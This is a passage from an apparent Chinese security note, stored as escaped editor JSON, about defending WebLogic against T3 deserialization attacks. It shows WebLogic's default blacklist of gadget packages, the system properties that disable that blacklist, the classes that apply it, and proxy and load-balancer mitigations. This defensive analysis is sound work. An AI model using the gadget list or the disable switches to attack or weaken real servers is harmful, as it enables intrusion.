&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#